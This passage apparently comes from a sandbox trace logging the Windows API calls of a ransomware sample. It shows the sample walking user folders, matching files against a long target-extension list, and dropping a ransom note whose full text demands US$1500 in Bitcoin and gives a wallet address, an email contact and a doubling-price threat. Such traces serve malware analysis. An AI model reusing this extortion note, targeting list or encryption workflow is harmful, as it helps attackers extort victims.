(lpString="*.fdb") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.wab") returned 0 [0090.131] lstrlenA (lpString="*.wab") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.dat") returned 0 [0090.131] lstrlenA (lpString="*.dat") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.txt") returned 0 [0090.131] lstrlenA (lpString="*.txt") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.jpeg") returned 0 [0090.131] lstrlenA (lpString="*.jpeg") returned 6 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.jpg") returned 0 [0090.131] lstrlenA (lpString="*.jpg") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.png") returned 0 [0090.131] lstrlenA (lpString="*.png") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.php") returned 0 [0090.132] lstrlenA (lpString="*.php") returned 5 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.cs") returned 0 [0090.132] lstrlenA (lpString="*.cs") returned 4 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.cpp") returned 0 [0090.132] lstrlenA (lpString="*.cpp") returned 5 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.rar") returned 0 [0090.132] lstrlenA (lpString="*.rar") returned 5 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.zip") returned 0 [0090.132] lstrlenA (lpString="*.zip") returned 5 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.html") returned 0 [0090.132] lstrlenA (lpString="*.html") returned 6 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.htm") returned 0 [0090.132] lstrlenA (lpString="*.htm") returned 5 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.xlsx") returned 0 [0090.132] lstrlenA (lpString="*.xlsx") returned 6 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.xls") returned 0 [0090.132] lstrlenA (lpString="*.xls") returned 5 [0090.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mp4") returned 0 [0090.133] lstrlenA (lpString="*.mp4") returned 5 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.ppt") returned 0 [0090.133] lstrlenA (lpString="*.ppt") returned 5 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.pptx") returned 0 [0090.133] lstrlenA (lpString="*.pptx") returned 6 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.doc") returned 0 [0090.133] lstrlenA (lpString="*.doc") returned 5 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.dot") returned 0 [0090.133] lstrlenA (lpString="*.dot") returned 5 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.docx") returned 0 [0090.133] lstrlenA (lpString="*.docx") returned 6 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.7z") returned 0 [0090.133] lstrlenA (lpString="*.7z") returned 4 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.tar") returned 0 [0090.133] lstrlenA (lpString="*.tar") returned 5 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.bz2") returned 0 [0090.133] lstrlenA (lpString="*.bz2") returned 5 [0090.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.gz") returned 0 [0090.134] lstrlenA (lpString="*.gz") returned 4 [0090.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mkv") returned 0 [0090.134] lstrlenA (lpString="*.mkv") returned 5 [0090.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.eml") returned 0 [0090.134] lstrlenA (lpString="*.eml") returned 5 [0090.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.msg") returned 0 [0090.134] lstrlenA (lpString="*.msg") returned 5 [0090.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.edb") returned 0 [0090.134] lstrlenA (lpString="*.edb") returned 5 [0090.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.accdb") returned 0 [0090.134] lstrlenA (lpString="*.accdb") returned 7 [0090.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.odb") returned 0 [0090.135] lstrlenA (lpString="*.odb") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.java") returned 0 [0090.135] lstrlenA (lpString="*.java") returned 6 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.asm") returned 0 [0090.135] lstrlenA (lpString="*.asm") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.pfx") returned 0 [0090.135] lstrlenA (lpString="*.pfx") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.pem") returned 0 [0090.135] lstrlenA (lpString="*.pem") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.p12") returned 0 [0090.135] lstrlenA (lpString="*.p12") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.gpg") returned 0 [0090.135] lstrlenA (lpString="*.gpg") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.vsd") returned 0 [0090.135] lstrlenA (lpString="*.vsd") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.odg") returned 0 [0090.135] lstrlenA (lpString="*.odg") returned 5 [0090.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.raw") returned 0 [0090.136] lstrlenA (lpString="*.raw") returned 5 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.nef") returned 0 [0090.136] lstrlenA (lpString="*.nef") returned 5 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.svg") returned 0 [0090.136] lstrlenA (lpString="*.svg") returned 5 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.psd") returned 0 [0090.136] lstrlenA (lpString="*.psd") returned 5 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.vmx") returned 0 [0090.136] lstrlenA (lpString="*.vmx") returned 5 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.vmdk") returned 0 [0090.136] lstrlenA (lpString="*.vmdk") returned 6 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.vdi") returned 0 [0090.136] lstrlenA (lpString="*.vdi") returned 5 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.lay6") returned 0 [0090.136] lstrlenA (lpString="*.lay6") returned 6 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mpeg") returned 0 [0090.136] lstrlenA (lpString="*.mpeg") returned 6 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.djvu") returned 0 [0090.136] lstrlenA (lpString="*.djvu") returned 6 [0090.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.tiff") returned 0 [0090.137] lstrlenA (lpString="*.tiff") returned 6 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.backup") returned 0 [0090.137] lstrlenA (lpString="*.backup") returned 8 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.pdf") returned 0 [0090.137] lstrlenA (lpString="*.pdf") returned 5 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.cert") returned 0 [0090.137] lstrlenA (lpString="*.cert") returned 6 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.docm") returned 0 [0090.137] lstrlenA (lpString="*.docm") returned 6 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.xlsm") returned 0 [0090.137] lstrlenA (lpString="*.xlsm") returned 6 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.dwg") returned 0 [0090.137] lstrlenA (lpString="*.dwg") returned 5 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.nd") returned 0 [0090.137] lstrlenA (lpString="*.nd") returned 4 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.tlg") returned 0 [0090.137] lstrlenA (lpString="*.tlg") returned 5 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.lgb") returned 0 [0090.137] lstrlenA (lpString="*.lgb") returned 5 [0090.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mov") returned 0 [0090.137] lstrlenA (lpString="*.mov") returned 5 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.xdw") returned 0 [0090.138] lstrlenA (lpString="*.xdw") returned 5 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.ods") returned 0 [0090.138] lstrlenA (lpString="*.ods") returned 5 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.wav") returned 0 [0090.138] lstrlenA (lpString="*.wav") returned 5 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mp3") returned 0 [0090.138] lstrlenA (lpString="*.mp3") returned 5 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.aiff") returned 0 [0090.138] lstrlenA (lpString="*.aiff") returned 6 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.flac") returned 0 [0090.138] lstrlenA (lpString="*.flac") returned 6 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.m4a") returned 0 [0090.138] lstrlenA (lpString="*.m4a") returned 5 [0090.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.csv") returned 0 [0090.138] lstrlenA (lpString="*.csv") returned 5 [0090.138] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0090.138] lstrcmpA (lpString1=".", lpString2="Links") returned -1 [0090.138] lstrcmpA (lpString1="..", lpString2="Links") returned -1 [0090.139] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned="desktop.ini" [0090.139] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0090.139] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 45 [0090.139] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d5c0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.139] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.139] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0090.139] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.139] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.139] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.140] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0090.140] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0090.140] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0090.140] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*") returned="*.*" [0090.140] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0090.140] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="" [0090.140] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" [0090.140] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to decrypt files.txt")) returned 0xffffffff [0090.140] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.144] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.144] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.145] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.145] CloseHandle (hObject=0x8c) returned 1 [0090.146] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.ems") returned 0 [0090.146] lstrlenA (lpString="*.ems") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.db") returned 0 [0090.146] lstrlenA (lpString="*.db") returned 4 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.dbf") returned 0 [0090.146] lstrlenA (lpString="*.dbf") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.myox") returned 0 [0090.146] lstrlenA (lpString="*.myox") returned 6 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.myo") returned 0 [0090.146] lstrlenA (lpString="*.myo") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qbw") returned 0 [0090.146] lstrlenA (lpString="*.qbw") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qbb") returned 0 [0090.146] lstrlenA (lpString="*.qbb") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qbm") returned 0 [0090.146] lstrlenA (lpString="*.qbm") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qbo") returned 0 [0090.146] lstrlenA (lpString="*.qbo") returned 5 [0090.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qbx") returned 0 [0090.147] lstrlenA (lpString="*.qbx") returned 5 [0090.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qba") returned 0 [0090.147] lstrlenA (lpString="*.qba") returned 5 [0090.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qby") returned 0 [0090.147] lstrlenA (lpString="*.qby") returned 5 [0090.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qbj") returned 0 [0090.147] lstrlenA (lpString="*.qbj") returned 5 [0090.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.ofx") returned 0 [0090.147] lstrlenA (lpString="*.ofx") returned 5 [0090.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", pszSpec="*.qif") returned 0 [0090.147] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0090.147] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Suggested Sites.url") returned -1 [0090.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Suggested Sites.url") returned -1 [0090.147] lstrcmpiA (lpString1="", lpString2="Suggested Sites.url") returned -1 [0090.147] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned="desktop.ini" [0090.147] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0090.147] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="" [0090.148] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" [0090.148] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to decrypt files.txt")) returned 0x20 [0090.148] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpString2="Suggested Sites.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" [0090.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", pszSpec="*.ems") returned 0 [0090.148] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0090.148] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.148] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Web Slice Gallery.url") returned -1 [0090.148] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Web Slice Gallery.url") returned -1 [0090.148] lstrcmpiA (lpString1="", lpString2="Web Slice Gallery.url") returned -1 [0090.148] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned="Suggested Sites.url" [0090.148] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS 